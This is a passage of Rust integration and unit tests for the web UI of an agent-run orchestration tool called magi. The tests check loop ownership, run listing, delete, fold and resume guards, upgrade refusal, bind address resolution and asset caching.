4228 res.status, 409,
4229 "neither button may pretend to work on someone else's loop: {}",
4230 res.body
4231 );
4232 assert!(
4233 res.json()["error"]
4234 .as_str()
4235 .is_some_and(|e| e.contains("4242")),
4236 "the refusal has to name the process the operator must go to: {}",
4237 res.body
4238 );
4239 }
4240 assert_eq!(
4241 f.get("/api/loop").await.json()["running"],
4242 false,
4243 "and the refusal started nothing"
4244 );
4245 }
4246
4247 #[tokio::test]
4248 async fn a_stale_status_file_is_not_a_foreign_owner() {
4249 let f = Fixture::start().await;
4250 write_daemon(
4251 f.home.path(),
4252 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4253 );
4254
4255 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4256 assert_eq!(
4257 res.status, 200,
4258 "a daemon killed a minute ago must not lock the loop out of its \
4259 own home for good: {}",
4260 res.body
4261 );
4262 assert_eq!(res.json()["running"], true);
4263
4264 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4265 }
4266
4267 #[tokio::test]
4268 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4269 let f = Fixture::start().await;
4270 let before = f.get("/api/health").await.json()["loop_rev"]
4271 .as_u64()
4272 .expect("a loop revision");
4273
4274 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4275
4276 let after = f.get("/api/health").await.json()["loop_rev"]
4277 .as_u64()
4278 .expect("a loop revision");
4279 assert!(
4280 after > before,
4281 "the loop is in-process state, so this counter is the only thing \
4282 that tells a second device the first one started it: {before} -> \
4283 {after}"
4284 );
4285
4286 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4287 }
4288
4289 #[tokio::test]
4290 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4291 let f = Fixture::with_loop(launch_broken).await;
4292
4293 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4294 assert_eq!(
4295 res.status, 200,
4296 "starting it is not the failure: {}",
4297 res.body
4298 );
4299
4300 let view = settled(&f, |v| v["last_error"].is_string()).await;
4301 assert_eq!(
4302 view["running"], false,
4303 "a loop that died must not read as running, or the operator has \
4304 nothing to press: {view}"
4305 );
4306 assert_eq!(view["owned"], false);
4307 assert!(
4308 view["last_error"]
4309 .as_str()
4310 .is_some_and(|e| e.contains("read-only file system")),
4311 "the phone is where a loop that died at 3am is visible: {view}"
4312 );
4313
4314 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4317 assert_eq!(again.status, 200, "{}", again.body);
4318 assert_eq!(
4319 again.json()["last_error"],
4320 Value::Null,
4321 "a fresh start does not keep showing why the last one died"
4322 );
4323 }
4324
4325 #[tokio::test]
4326 async fn a_newer_daemon_status_file_still_renders() {
4327 let f = Fixture::start().await;
4328 std::fs::write(
4331 f.home.path().join("daemon.json"),
4332 serde_json::json!({
4333 "schema": 2,
4334 "updated_at": Timestamp::now().to_string(),
4335 "idle": true,
4336 "surprise": { "nested": [1, 2, 3] },
4337 })
4338 .to_string(),
4339 )
4340 .expect("write daemon.json");
4341
4342 let health = f.get("/api/health").await;
4343
4344 assert_eq!(health.status, 200);
4345 assert_eq!(health.json()["daemon"]["running"], true);
4346 }
4347
4348 #[tokio::test]
4349 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4350 let f = Fixture::start().await;
4351 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4352 let broken = f.runs().join("20260902-140502-bad");
4353 std::fs::create_dir_all(&broken).expect("run dir");
4354 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4355
4356 let list = f.get("/api/runs").await;
4357 let detail = f.get("/api/runs/20260902-140502-bad").await;
4358
4359 assert_eq!(list.status, 200);
4360 let listed = list.json();
4361 let ids: Vec<&str> = listed
4362 .as_array()
4363 .expect("an array")
4364 .iter()
4365 .map(|r| r["id"].as_str().expect("an id"))
4366 .collect();
4367 assert_eq!(
4368 ids,
4369 vec!["20260902-140501-good"],
4370 "one unreadable run must not cost the operator the whole history"
4371 );
4372 assert_eq!(detail.status, 500);
4373 assert!(
4374 detail.json()["error"]
4375 .as_str()
4376 .is_some_and(|e| e.contains("run.json")),
4377 "the failure names the file to look at: {}",
4378 detail.body
4379 );
4380 let health = f.get("/api/health").await;
4384 assert_eq!(health.json()["runs_unreadable"], 1);
4385 }
4386
4387 #[tokio::test]
4388 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4389 let f = Fixture::start().await;
4390 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4391
4392 let summary = f.get("/api/runs").await.json();
4393 let row = &summary[0];
4394 assert_eq!(row["short"], "a1b2");
4395 assert_eq!(row["status"], "ready");
4396 assert_eq!(row["done"], true);
4397 assert_eq!(row["title"], "Add a web UI");
4398 assert_eq!(row["repo_name"], "magi");
4399 assert_eq!(row["judges"], 3);
4400 assert_eq!(row["winner"], Value::Null);
4401 assert_eq!(row["reviews"], 0);
4402
4403 let detail = f.get("/api/runs/a1b2").await;
4406 assert_eq!(detail.status, 200);
4407 assert_eq!(detail.json()["base_branch"], "main");
4408 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4409 }
4410
4411 #[tokio::test]
4412 async fn the_run_list_is_newest_first_and_honours_a_limit() {
4413 let f = Fixture::start().await;
4414 for id in [
4415 "20260902-140501-aaaa",
4416 "20260902-140502-bbbb",
4417 "20260902-140503-cccc",
4418 ] {
4419 write_run(&f.runs(), id, RunStatus::Merged);
4420 }
4421
4422 let all = f.get("/api/runs").await.json();
4423 let capped = f.get("/api/runs?limit=2").await.json();
4424
4425 assert_eq!(all[0]["id"], "20260902-140503-cccc");
4426 assert_eq!(all.as_array().map(Vec::len), Some(3));
4427 assert_eq!(capped.as_array().map(Vec::len), Some(2));
4428 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4429 }
4430
4431 #[tokio::test]
4432 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
4433 let f = Fixture::start().await;
4434 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
4435
4436 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
4437
4438 assert_eq!(res.status, 200);
4439 assert!(
4440 res.headers
4441 .contains("content-type: text/plain; charset=utf-8"),
4442 "a browser must render it, not download it: {}",
4443 res.headers
4444 );
4445 assert!(
4449 res.body.contains("20260902-140501-a1b2"),
4450 "the report is about the run that was asked for: {}",
4451 res.body
4452 );
4453 }
4454
4455 #[tokio::test]
4456 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
4457 let f = Fixture::start().await;
4458
4459 let html = f.get("/").await;
4460 let css = f.get("/app.css").await;
4461 let js = f.get("/app.js").await;
4462
4463 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
4464 assert!(
4465 html.headers
4466 .contains("content-type: text/html; charset=utf-8")
4467 );
4468 assert!(css.headers.contains("content-type: text/css"));
4469 assert!(js.headers.contains("content-type: text/javascript"));
4470 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
4471 }
4472
4473 #[tokio::test]
4474 async fn the_change_stream_announces_the_current_revisions_on_connect() {
4475 let f = Fixture::start().await;
4476
4477 let mut socket = tokio::net::TcpStream::connect(f.addr)
4478 .await
4479 .expect("connect");
4480 socket
4481 .write_all(
4482 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
4483 )
4484 .await
4485 .expect("write request");
4486
4487 let mut seen = String::new();
4490 let mut buf = [0u8; 1024];
4491 while !seen.contains("event: change") {
4492 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
4493 .await
4494 .expect("the stream must speak within five seconds")
4495 .expect("read");
4496 assert!(read > 0, "the server closed the change stream: {seen}");
4497 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
4498 }
4499
4500 assert!(
4501 seen.to_lowercase()
4502 .contains("content-type: text/event-stream"),
4503 "the browser only reconnects automatically for a real SSE stream: {seen}"
4504 );
4505 let data = seen
4506 .lines()
4507 .find_map(|l| l.strip_prefix("data:"))
4508 .expect("a data line");
4509 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
4510 assert!(
4511 payload["queue_rev"].is_u64()
4512 && payload["runs_rev"].is_u64()
4513 && payload["questions_rev"].is_u64()
4514 && payload["chats_rev"].is_u64()
4515 && payload["loop_rev"].is_u64(),
4516 "the client needs one revision per store to know what to refetch, \
4517 and `chats_rev` is the only notification a slow interview gets - \
4518 a phone whose radio slept through a turn learns about it here, as \
4519 does one whose operator started the loop from another device: \
4520 {payload}"
4521 );
4522
4523 let health = f.get("/api/health").await.json();
4530 for key in [
4531 "queue_rev",
4532 "runs_rev",
4533 "questions_rev",
4534 "chats_rev",
4535 "loop_rev",
4536 ] {
4537 assert!(
4538 health[key].is_u64(),
4539 "health is the change stream's fallback and is missing `{key}`: {health}"
4540 );
4541 }
4542 }
4543
4544 #[test]
4545 fn bind_reads_back_from_the_spelling_the_cli_prints() {
4546 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
4550 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
4551 }
4552 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
4553 assert!("everywhere".parse::<Bind>().is_err());
4554 }
4555
4556 #[test]
4557 fn an_explicit_bind_address_is_taken_verbatim() {
4558 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
4559
4560 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
4561
4562 assert_eq!(addr, asked);
4563 assert!(
4564 warning.is_none(),
4565 "an operator who named an address gets no lecture"
4566 );
4567 }
4568
4569 #[test]
4570 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
4571 let (addr, warning) = resolve_bind(&Bind::Auto);
4572
4573 match addr {
4580 IpAddr::V4(ip) if is_tailnet(&ip) => {
4581 assert!(warning.is_none(), "a tailnet address needs no warning");
4582 }
4583 other => {
4584 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
4585 let warning = warning.expect("a fallback has to explain itself");
4586 assert!(
4587 warning.contains("127.0.0.1") && warning.contains("local-only"),
4588 "the warning says what happened and what it costs: {warning}"
4589 );
4590 }
4591 }
4592 }
4593
4594 #[test]
4595 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
4596 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
4600 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
4601 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
4602 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
4603 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
4604 }
4605
4606 #[test]
4607 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
4608 let ids = vec![
4609 "20260902-140501-aaaa".to_owned(),
4610 "20260902-140502-aabb".to_owned(),
4611 ];
4612
4613 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
4614 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
4615 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
4616
4617 assert_eq!(missing.status, StatusCode::NOT_FOUND);
4618 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
4619 assert_eq!(short, "20260902-140502-aabb");
4620 }
4621 #[tokio::test]
4622 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
4623 let fx = Fixture::start().await;
4629 let id = panel(
4630 &fx,
4631 "<img src=\"shot.png\">",
4632 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
4633 );
4634
4635 let doc = fx
4637 .get(&format!("/api/questions/{id}/panel/index.html"))
4638 .await;
4639 assert_eq!(doc.status, 200, "{}", doc.body);
4640 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
4641
4642 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
4643 assert_eq!(sibling.status, 200, "{}", sibling.body);
4644 assert_eq!(sibling.header("content-type"), Some("image/png"));
4645 assert_eq!(
4646 sibling.header("content-security-policy"),
4647 Some(PANEL_CSP),
4648 "the sibling route must carry the same policy as the asset route"
4649 );
4650
4651 assert_eq!(
4654 fx.head(&format!("/api/questions/{id}/panel")).await.status,
4655 200
4656 );
4657 }
4658
4659 #[test]
4660 fn runs_revision_moves_when_deleting_an_older_run() {
4661 let temp = TempDir::new().expect("tempdir");
4662 let runs = temp.path().join("runs");
4663 std::fs::create_dir_all(&runs).expect("create runs dir");
4664
4665 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
4666
4667 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
4668 std::thread::sleep(Duration::from_millis(10));
4669 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
4670
4671 let rev_before = runs_revision(&runs);
4672 assert!(rev_before > 0);
4673
4674 let old_dir = runs.join("20260901-100000-old1");
4675 std::fs::remove_dir_all(&old_dir).expect("remove old run");
4676
4677 let rev_after = runs_revision(&runs);
4678 assert_ne!(
4679 rev_before, rev_after,
4680 "deleting an older run must change the revision so other clients see the deletion"
4681 );
4682 }
4683
4684 #[tokio::test]
4685 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
4686 let fx = Fixture::start().await;
4687 let q = fx.queue();
4688
4689 let mut t1 = Task::new(
4691 "Task 1".to_owned(),
4692 "Instruction 1".to_owned(),
4693 PathBuf::from("/repo"),
4694 Source::Human,
4695 );
4696 let run_id = "20260901-000000-r111";
4697 t1.runs.push(run_id.to_owned());
4698 write_run(&fx.runs(), run_id, RunStatus::Merged);
4699 q.put(&mut t1).expect("put t1");
4700
4701 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
4703 assert_eq!(res.status, 204);
4704 assert!(res.body.is_empty(), "204 No Content has no body");
4705 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
4706 assert!(
4707 fx.runs().join(run_id).exists(),
4708 "run directory must not be deleted when its task is deleted"
4709 );
4710
4711 let mut t2 = Task::new(
4713 "Task 2".to_owned(),
4714 "Instruction 2".to_owned(),
4715 PathBuf::from("/repo"),
4716 Source::Human,
4717 );
4718 t2.status = TaskStatus::Running;
4719 q.put(&mut t2).expect("put t2");
4720 let mut beat = crate::daemon::Status::new();
4721 beat.current = Some(crate::daemon::Current {
4722 task: t2.id.clone(),
4723 run: "20260901-000000-r222".to_owned(),
4724 });
4725 beat.updated_at = jiff::Timestamp::now();
4726 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4727 .expect("publish a heartbeat");
4728 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
4729 assert_eq!(res.status, 409);
4730 assert!(
4731 res.json()["error"]
4732 .as_str()
4733 .unwrap()
4734 .contains("live daemon")
4735 );
4736 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
4737
4738 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
4744 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4745 .expect("leave a stale heartbeat");
4746 let mut t3 = Task::new(
4747 "Task 3".to_owned(),
4748 "Instruction 3".to_owned(),
4749 PathBuf::from("/repo"),
4750 Source::Human,
4751 );
4752 t3.status = TaskStatus::Running;
4753 q.put(&mut t3).expect("put t3");
4754 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
4755 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
4756 assert_eq!(res.status, 204);
4757 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
4758 assert!(
4759 q.claim(&t3.id).is_ok(),
4760 "the stale lock went with it, so the id is claimable again"
4761 );
4762
4763 let res = fx.delete("/api/queue/nonexistent").await;
4765 assert_eq!(res.status, 404);
4766 }
4767
4768 #[tokio::test]
4769 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
4770 let fx = Fixture::start().await;
4771 let runs = fx.runs();
4772
4773 let run_id = "20260901-000000-fold";
4775 let mut state = RunState::new(
4776 PathBuf::from("/repo"),
4777 "main".to_owned(),
4778 "abc".to_owned(),
4779 "instruction".to_owned(),
4780 Config::default(),
4781 );
4782 state.id = run_id.to_owned();
4783 state.status = RunStatus::Merged;
4784 state.candidates.push(crate::run::Candidate {
4785 index: 0,
4786 label: 'A',
4787 agent: "a".to_owned(),
4788 branch: "b".to_owned(),
4789 worktree: PathBuf::from("/w"),
4790 summary: String::new(),
4791 stat: String::new(),
4792 files: 1,
4793 commits: 1,
4794 empty: false,
4795 failed: None,
4796 duration_ms: 0,
4797 folded: true,
4798 });
4799 let dir = runs.join(run_id);
4800 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
4801 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
4802 .expect("write artifact");
4803 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
4804 .expect("write run.json");
4805
4806 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
4808 assert_eq!(res.status, 204);
4809 assert!(res.body.is_empty(), "204 has no body");
4810 assert!(!dir.exists(), "run directory and artifacts must be deleted");
4811
4812 let run_running = "20260901-000000-rung";
4817 write_run(&runs, run_running, RunStatus::Prep);
4818 let mut beat = crate::daemon::Status::new();
4819 beat.current = Some(crate::daemon::Current {
4820 task: "20260901-000000-task".to_owned(),
4821 run: run_running.to_owned(),
4822 });
4823 beat.updated_at = jiff::Timestamp::now();
4824 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4825 .expect("publish a heartbeat");
4826 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
4827 assert_eq!(res.status, 409);
4828 assert!(
4829 res.json()["error"]
4830 .as_str()
4831 .unwrap()
4832 .contains("live daemon"),
4833 "the refusal must say who is holding it"
4834 );
4835 assert!(
4836 runs.join(run_running).exists(),
4837 "a run in flight keeps its directory"
4838 );
4839
4840 let run_unfolded = "20260901-000000-unfd";
4842 let mut state2 = RunState::new(
4843 PathBuf::from("/repo"),
4844 "main".to_owned(),
4845 "abc".to_owned(),
4846 "instruction".to_owned(),
4847 Config::default(),
4848 );
4849 state2.id = run_unfolded.to_owned();
4850 state2.status = RunStatus::Ready;
4851 state2.candidates.push(crate::run::Candidate {
4852 index: 0,
4853 label: 'A',
4854 agent: "a".to_owned(),
4855 branch: "b".to_owned(),
4856 worktree: PathBuf::from("/w"),
4857 summary: String::new(),
4858 stat: String::new(),
4859 files: 1,
4860 commits: 1,
4861 empty: false,
4862 failed: None,
4863 duration_ms: 0,
4864 folded: false,
4865 });
4866 let dir2 = runs.join(run_unfolded);
4867 std::fs::create_dir_all(&dir2).expect("create dir2");
4868 std::fs::write(
4869 dir2.join("run.json"),
4870 serde_json::to_string(&state2).unwrap(),
4871 )
4872 .expect("write run.json");
4873
4874 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
4875 assert_eq!(res.status, 409);
4876 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
4877 assert!(dir2.exists(), "unfolded run directory is kept");
4878
4879 let res = fx.delete("/api/runs/nonexistent").await;
4881 assert_eq!(res.status, 404);
4882 }
4883
4884 #[test]
4885 fn web_ui_delete_contract_in_front_end() {
4886 assert!(APP_JS.contains("deleteRun:"));
4888 assert!(APP_JS.contains("deleteTask:"));
4889
4890 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
4892 ..APP_JS.find("function renderRuns").unwrap()];
4893 assert!(!run_cards_slice.to_lowercase().contains("delete"));
4894
4895 assert!(APP_JS.contains("renderRunDelete"));
4897 assert!(APP_JS.contains("runDeleteReason"));
4898 assert!(APP_JS.contains("magi fold"));
4899 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
4900
4901 assert!(APP_JS.contains("cancel.focus"));
4903 assert!(APP_JS.contains("armedRunDelete"));
4904 assert!(APP_JS.contains("armedDelete"));
4905
4906 assert!(APP_JS.contains("disabled: status === \"running\""));
4908 }
4909
4910 #[tokio::test]
4911 async fn folding_from_the_phone_reports_what_it_removed() {
4912 let fx = Fixture::start().await;
4913 let runs = fx.runs();
4914
4915 let id = "20260901-000000-fold";
4919 write_run(&runs, id, RunStatus::Stalled);
4920 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4921 assert_eq!(res.status, 200);
4922 assert_eq!(res.json()["removed_count"], 0);
4923 assert_eq!(res.json()["run"], id);
4924 assert!(
4925 runs.join(id).exists(),
4926 "a fold keeps the run's record; only the worktrees go"
4927 );
4928 }
4929
4930 #[tokio::test]
4931 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
4932 let fx = Fixture::start().await;
4933 let runs = fx.runs();
4934 let id = "20260901-000000-live";
4935 write_run(&runs, id, RunStatus::Implementing);
4936
4937 let mut beat = crate::daemon::Status::new();
4938 beat.current = Some(crate::daemon::Current {
4939 task: "20260901-000000-task".to_owned(),
4940 run: id.to_owned(),
4941 });
4942 beat.updated_at = jiff::Timestamp::now();
4943 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4944 .expect("publish a heartbeat");
4945
4946 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4947 assert_eq!(res.status, 409);
4948 assert!(
4949 res.json()["error"]
4950 .as_str()
4951 .unwrap()
4952 .contains("live daemon"),
4953 "folding under a running agent would pull its worktree away"
4954 );
4955 }
4956
4957 #[tokio::test]
4958 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
4959 let fx = Fixture::start().await;
4960 let runs = fx.runs();
4961
4962 for (status, word) in [
4968 (RunStatus::Merged, "merged"),
4969 (RunStatus::Ready, "ready"),
4970 (RunStatus::Failed, "failed"),
4971 ] {
4972 let id = format!("20260901-000000-{}", &word[..4]);
4973 write_run(&runs, &id, status);
4974 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
4975 assert_eq!(res.status, 409, "{word} must not be resumable");
4976 let err = res.json()["error"].as_str().unwrap().to_owned();
4977 assert!(err.contains(word), "the refusal names the status: {err}");
4978 }
4979
4980 let mid = "20260901-000000-midf";
4985 write_run(&runs, mid, RunStatus::Reviewing);
4986 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
4987 assert_eq!(res.status, 202, "an interrupted run is resumable");
4988 }
4989
4990 #[tokio::test]
4991 async fn resume_is_refused_while_the_loop_is_running() {
4992 let fx = Fixture::start().await;
4993 let runs = fx.runs();
4994 let stalled = "20260901-000000-stal";
4995 write_run(&runs, stalled, RunStatus::Stalled);
4996
4997 let mut beat = crate::daemon::Status::new();
5000 beat.current = Some(crate::daemon::Current {
5001 task: "20260901-000000-task".to_owned(),
5002 run: "20260901-000000-othr".to_owned(),
5003 });
5004 beat.updated_at = jiff::Timestamp::now();
5005 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5006 .expect("publish a heartbeat");
5007
5008 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
5009 assert_eq!(res.status, 409);
5010 let err = res.json()["error"].as_str().unwrap().to_owned();
5011 assert!(err.contains("othr"), "it names what the loop is on: {err}");
5012 assert!(err.contains("one competition at a time"), "{err}");
5013 }
5014
5015 #[test]
5016 fn a_run_cannot_be_resumed_twice_at_once() {
5017 let home = TempDir::new().expect("temp home");
5018 let ui = Ui::new(
5019 Queue::at(home.path().join("queue")),
5020 Questions::at(home.path().join("questions")),
5021 Chats::at(home.path().join("chats")),
5022 home.path().join("runs"),
5023 home.path().to_path_buf(),
5024 PathBuf::from("/repo"),
5025 );
5026 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
5027 let again = ui.begin_resume("20260901-000000-once");
5028 assert!(again.is_err(), "a second tap must not start a second graph");
5029 drop(first);
5030 assert!(
5031 ui.begin_resume("20260901-000000-once").is_ok(),
5032 "and the claim is released when the attempt ends"
5033 );
5034 }
5035
5036 #[test]
5037 fn refreshing_a_conversation_never_navigates_to_it() {
5038 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
5045 ..APP_JS.find("async function startChat(").expect("startChat")];
5046 assert!(
5047 !body.contains("state.chatDetail = {"),
5048 "loadChat must not decide which conversation is on screen: {body}"
5049 );
5050 assert!(
5051 body.contains("if (state.chatDetail.id !== id) return;"),
5052 "it returns instead of drawing a chat the operator is not reading"
5053 );
5054
5055 assert!(
5059 body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
5060 "settle the turn before the on-screen check"
5061 );
5062
5063 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
5065 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
5066 }
5067
5068 #[tokio::test]
5069 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
5070 let fx = Fixture::start().await;
5071 let mut beat = crate::daemon::Status::new();
5075 beat.pid = 4321;
5076 beat.updated_at = jiff::Timestamp::now();
5077 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5078 .expect("publish a heartbeat");
5079
5080 let res = fx.post("/api/upgrade", None).await;
5081 assert_eq!(res.status, 409);
5082 let err = res.json()["error"].as_str().unwrap().to_owned();
5083 assert!(err.contains("4321"), "the refusal names the owner: {err}");
5084 assert!(err.contains("old one against the same queue"), "{err}");
5085 }
5086
5087 #[tokio::test]
5088 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
5089 let fx = Fixture::start().await;
5090 let res = fx.post("/api/upgrade", None).await;
5097 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
5098 let body = res.json();
5099 assert!(body["to"].is_null(), "there was no release to move to");
5100 assert!(body["parked"].is_null(), "and nothing was parked");
5101 assert!(
5102 body["detail"]
5103 .as_str()
5104 .unwrap()
5105 .contains("nothing restarted"),
5106 "{body:?}"
5107 );
5108 }
5109
5110 #[test]
5111 fn the_upgrade_button_arms_before_it_restarts_anything() {
5112 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
5115 assert!(APP_JS.contains("Replace the binary and restart?"));
5116 assert!(APP_JS.contains("function confirmed("));
5117 assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
5119 assert!(
5123 APP_JS.contains("Parking, then restarting"),
5124 "the button says what it is waiting for"
5125 );
5126 assert!(APP_JS.contains("if (!out.to)"));
5129 }
5130
5131 #[test]
5132 fn an_error_is_visible_from_where_the_button_is() {
5133 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
5138 ..APP_CSS.find(".alert-text").expect(".alert-text")];
5139 assert!(
5140 alert.contains("position: fixed"),
5141 "an error about the thing under your thumb has to be visible from \
5142 where your thumb is: {alert}"
5143 );
5144 assert!(
5145 alert.contains("z-index: 25"),
5146 "above the dock (20) and the run-actions FAB (15), so neither \
5147 buries it: {alert}"
5148 );
5149 assert!(
5150 alert.contains("var(--tap)"),
5151 "and clear of the dock and the home indicator: {alert}"
5152 );
5153 assert!(
5156 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
5157 "the FAB's column stays free: {alert}"
5158 );
5159 }
5160
5161 #[tokio::test]
5162 async fn an_older_attempt_says_what_replaced_it() {
5163 let fx = Fixture::start().await;
5164 let q = fx.queue();
5165 let runs = fx.runs();
5166 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
5167 write_run(&runs, first, RunStatus::Stalled);
5168 write_run(&runs, second, RunStatus::Blocked);
5169
5170 let mut t = Task::new(
5171 "one task".to_owned(),
5172 "do it".to_owned(),
5173 PathBuf::from("/repo"),
5174 Source::Human,
5175 );
5176 t.runs = vec![first.to_owned(), second.to_owned()];
5177 q.put(&mut t).expect("put");
5178
5179 let rows = fx.get("/api/runs").await.json();
5183 let by = |short: &str| -> Value {
5184 rows.as_array()
5185 .unwrap()
5186 .iter()
5187 .find(|r| r["short"] == short)
5188 .cloned()
5189 .unwrap_or(Value::Null)
5190 };
5191 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
5192 assert!(
5193 by("bbbb")["superseded_by"].is_null(),
5194 "the latest attempt is not superseded by anything"
5195 );
5196 assert!(APP_JS.contains("run.superseded_by"));
5198 assert!(APP_JS.contains("Superseded by"));
5199 }
5200
5201 #[tokio::test]
5202 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
5203 let fx = Fixture::start().await;
5204 let js = fx.get("/app.js").await;
5210 assert_eq!(js.status, 200);
5211 let tag = js
5212 .header("etag")
5213 .expect("an etag to revalidate against")
5214 .to_owned();
5215 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
5216 assert_eq!(
5217 js.header("cache-control"),
5218 Some("no-cache, must-revalidate"),
5219 "the phone has to ask every time"
5220 );
5221
5222 let again = fx
5225 .get_with("/app.js", &[("if-none-match", tag.as_str())])
5226 .await;
5227 assert_eq!(
5228 again.status, 304,
5229 "a deck it already has costs one round trip"
5230 );
5231 assert!(again.body.is_empty(), "304 carries no body");
5232
5233 let weak = fx
5236 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
5237 .await;
5238 assert_eq!(weak.status, 304);
5239 let stale = fx
5240 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
5241 .await;
5242 assert_eq!(stale.status, 200, "an older build must be replaced");
5243 assert!(stale.body.contains("renderRunActions"));
5244 }
5245
5246 #[test]
5247 fn the_deck_never_sends_the_operator_to_a_terminal() {
5248 assert!(
5251 !APP_JS.contains("Run `magi fold` first"),
5252 "the deck must offer the fold, not prescribe a shell command"
5253 );
5254 assert!(APP_JS.contains("foldRun:"));
5255 assert!(APP_JS.contains("resumeRun:"));
5256 assert!(APP_JS.contains("renderRunActions"));
5257
5258 assert!(APP_JS.contains("armedFold"));
5260 assert!(APP_JS.contains("Yes, fold worktrees"));
5261
5262 assert!(APP_JS.contains("can no longer be resumed"));
5265 }
